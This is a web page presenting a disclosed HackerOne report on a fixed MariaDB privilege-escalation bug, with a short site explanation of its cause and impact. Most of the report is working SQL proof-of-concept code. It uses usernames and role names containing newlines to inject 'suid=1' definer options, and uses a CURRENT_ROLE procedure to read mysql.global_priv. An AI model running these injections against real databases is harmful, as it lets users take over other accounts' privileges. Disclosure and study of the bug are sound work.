Skip to content
Access control Disclosed report Advanced CVE-2026-107823

Privilege escalation via user controlled usernames / roles and views

View and procedure definers are stored as raw option strings, so a username or role containing newline characters can inject extra definer options such as a different host or the suid flag. An attacker who controls their own username or role name could then run SQL with the privileges of another account, including reading the global privilege table.

vortfu Follow

Originally disclosed on HackerOne

  • Triaged in 6 hours
  • Fixed in 48 days
  • Disclosed after 3 months

Assuming a scenario where a user has control over the usernames (or roles) that are provisioned for their db, they may escalate privileges via a username or role that contains newline characters since view definers are saved as raw FILE_OPTIONS_STRING values.

Proof of Concept (username)

Initial setup

SQL
DROP USER IF EXISTS 'root
definer_host=localhost
suid=1'@'localhost';

CREATE USER 'root
definer_host=localhost
suid=1'@'localhost'
  IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON testdb.* TO 'root
definer_host=localhost
suid=1'@'localhost';

FLUSH PRIVILEGES;

then as root\ndefiner_host=localhost\nsuid=1

SQL
DELIMITER //
CREATE OR REPLACE FUNCTION leak() 
RETURNS LONGTEXT 
DETERMINISTIC
SQL SECURITY INVOKER READS SQL DATA
BEGIN
    DECLARE result LONGTEXT;
    
    SELECT JSON_ARRAYAGG(
        JSON_OBJECT('Host', Host, 'User', User, 'Priv', Priv)
    ) INTO result 
    FROM mysql.global_priv;
    
    RETURN result;
END //
DELIMITER ;

CREATE OR REPLACE VIEW v AS SELECT leak();

SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'root
-- definer_host=localhost
-- suid=1'@'localhost' for table `mysql`.`global_priv`

SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]

Proof of Concept (roles)

SQL
CREATE ROLE 'root
definer_host=localhost
suid=1';

GRANT 'root
definer_host=localhost
suid=1' TO 'vortfu'@'localhost';

FLUSH PRIVILEGES;

then as vortfu (using the same leak() fn as above)

SQL
SET ROLE 'root
definer_host=localhost
suid=1';

CREATE OR REPLACE DEFINER=CURRENT_ROLE VIEW v AS SELECT leak();
SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]

Additionally, a similar behavior exists with stored proceedures (DEFINER=CURRENT_ROLE) and roles that match existing usernames

Proof of Concept (roles @)

SQL
CREATE ROLE 'root@localhost';
GRANT 'root@localhost' TO 'vortfu'@'localhost';

as vortfu

SQL
SET ROLE `root@localhost`;

CREATE DEFINER=CURRENT_ROLE PROCEDURE `vf-exec`(q TEXT)
  SQL SECURITY DEFINER
  EXECUTE IMMEDIATE q;

SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `mysql`.`global_priv`

CALL `vf-exec`('SELECT * FROM mysql.global_priv');
-- | localhost        | mariadb.sys                        | {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}
-- ...

Impact

users may be able to execute SQL with the privileges of other users if they are able to select arbitrary usernames or roles to use.

The original report as published on HackerOne, by vortfu. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the definer identity is serialised into an option string without escaping or validation, so newline characters in a username or role name are parsed as additional definer options.

Impact

Users who can choose arbitrary usernames or roles may be able to execute SQL with the privileges of other users.

What the attacker needed

Control over own username or role name; ability to create views or procedures

How it was found

  1. Create a user whose name contains newline-separated definer options and grant it access to a test database.
  2. Log in as that user and create a function that reads the global privilege table.
  3. Create a view that calls the function.
  4. Query the privilege table directly and observe the permission error.
  5. Query the view and observe the privilege data being returned.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A database can save who created a view or procedure so it runs with that person's rights. The report shows that this saved name is written without cleaning, so a crafted name with line breaks can sneak in extra settings. Someone allowed to pick their own username or role name could then borrow another account's permissions.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by vortfu

View all

5 more disclosed reports, best first.

More from MariaDB

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.